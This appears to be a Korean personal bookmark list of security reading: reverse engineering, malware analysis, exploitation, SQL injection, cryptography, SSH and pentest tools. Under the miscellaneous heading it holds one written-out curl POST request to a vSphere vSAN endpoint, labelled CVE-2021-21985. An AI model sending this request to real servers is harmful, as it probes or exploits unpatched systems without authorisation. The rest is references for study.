보안 관련

Medium digest 관심 Articles

zer0pts ctf 2021 reversing

GDB rwatch hardware breakpoint

ImHex Git - Hex Editor for Reverse Engineers

malware_training_vol1 Git

DLL_to_EXE Git

How to turn a DLL into a standalone EXE

VM Detection Tricks, Part 1: Physical memory resource maps

FuzzingTool: web penetration testing tool

FuzzingTool Git

Windows & Active Directory Exploitation Cheat Sheet and Command Reference

Fsociety Hacking Tools Pack - A Penetration Testing Framework

Pentest Tools Framework (exploits, Scanner, Password.)

COM Objects P.1: The Hidden Backdoor in Your System

SQL Injections In Ethical Hacking & Cybersecurity Part II

Malware analysis, debugger
Introduction to malware analysis

Basic Static Analysis (Part 1)
Basic Dynamic Analysis — PE
Windows Forensics analysis - Windows artifacts Part 1
Windows Forensics analysis - Windows artifacts Part 2

How to use Ghidra to Reverse Engineer Mobile Application

Practicing with Ghidra

Bypassing Windows User Account Control

Reverse Engineering Encrypted Code Segments
Reverse engineering an API

Malware_Reverse_Engineering_Handbook.pdf

Radare2

Reversing DexGuard, Part 1 – Code Obfuscation & RASP
Hardware breakpoints and exceptions on Windows

Anti-Debug Tricks

Time Travel Debugging을 사용한 윈도우즈 리버스 엔지니어링 1

Frida
https://www.hahwul.com/2017/08/hacking-frida-hooking-to-multi-platform.html
https://velog.io/@woounnan/ANDROID-Frida%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-apk-%ED%9B%84%ED%82%B9
https://github.com/frida/frida/releases
https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html?fbclid=IwAR1Cz4WjYlEO3kyXib_wWOQy0AJ6EpcbF6mPSfrtZZXRfr64ZK4f_ACM7nQ
https://github.com/ohjeongwook/Frida.examples.vbe?fbclid=IwAR1JgDx8-E1wxCf5D7gSYvGqMDLA0pG-hZzV1mFPD6EIgS-qgVDrk3qJR4U

vulnerability, exploit

Beginners Guide to 0day/CVE AppSec Research

Metasploit pivoting

Binary Exploitation: Format String Vulnerabilities
An Introduction to Buffer Overflow Vulnerability
MalwareTech’s Malware Reverse Challenge Strings2
Five Pentesting Tools and Techniques
Writing a Password Protected Bind Shell

How to Discover & Attack Services on Web Apps or Networks with Sparta

I Opened My Connection To SSH Attacks, And These Were The Requests I Saw

How to Set Up an SSH Server with Tor to Hide It from Shodan & Hackers

Web Tracking: What You Should Know About Your Privacy Online

Hacking WebSocket
How To Inspect Your Local Network

How North Korea is hacking companies and governments

Metasploit 5.0.66 releases: penetration testing platform
Sshtunnel - SSH Tunnels To Remote Server
corkami
Shodan Pentesting Guide

FuZZan

[Webhacking] SOP(Same Origin Policy) 소개와 DNS rebinding을 이용한 우회법(실습 포함)

Getting Your Hands Dirty: Exploiting Buffer Overflow Vulnerability In C

sql injection

Understanding SQL Injections
A Beginner’s Guide to SQL Injection

SQL Injection and XSS

Learning SQL the Hard Way

crypt

The Basics of Cryptography

Cryptography for Absolute Beginners
Cracking RSA
The Beginning of the End of WPA-2
Cracking My First Password

Wireshark Tutorial: Examining Emotet Infection Traffic

기타

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'

CVE-2021-21985 (Vulnerable Code)

linux kernel exploit 분석

How to apply new font to matplotlib easily!

10 Great Programming Projects to Improve Your Resume and Learn to Program

Rather Than Ask Google, Let’s Ask Shodan

9 Web Components UI Libraries You Should Know in 2020

Linux for Data Scientists, Part 1

A Cron Job That Could Save You From a Ransomware Attack

Fuzzing Web Applications

Why I Still Use Vim
Vim: How to Start Using The Text Editor for Developers

So You Want to be a Functional Programmer (Part 1)
How to Set Up and Optimize Your Wireless Router for the Best Wi-Fi Performance

How Browsers Work

Reusing Cookies

I spent three months as a keyboard-only user. Here’s what I learned.

How I Setup My SSH Honeypot

Making SSH Connections on Windows

Offensive Security Guide to SSH Tunnels and Proxies

bettercap github

BETTERCAP web

pagodo (Passive Google Dork)

Google Hacking Database

How to bypass CloudFlare bot protection ?

IPCDump - Tool For Tracing Interprocess Communication (IPC) On Linux

snoopspy wiki

snoopspy github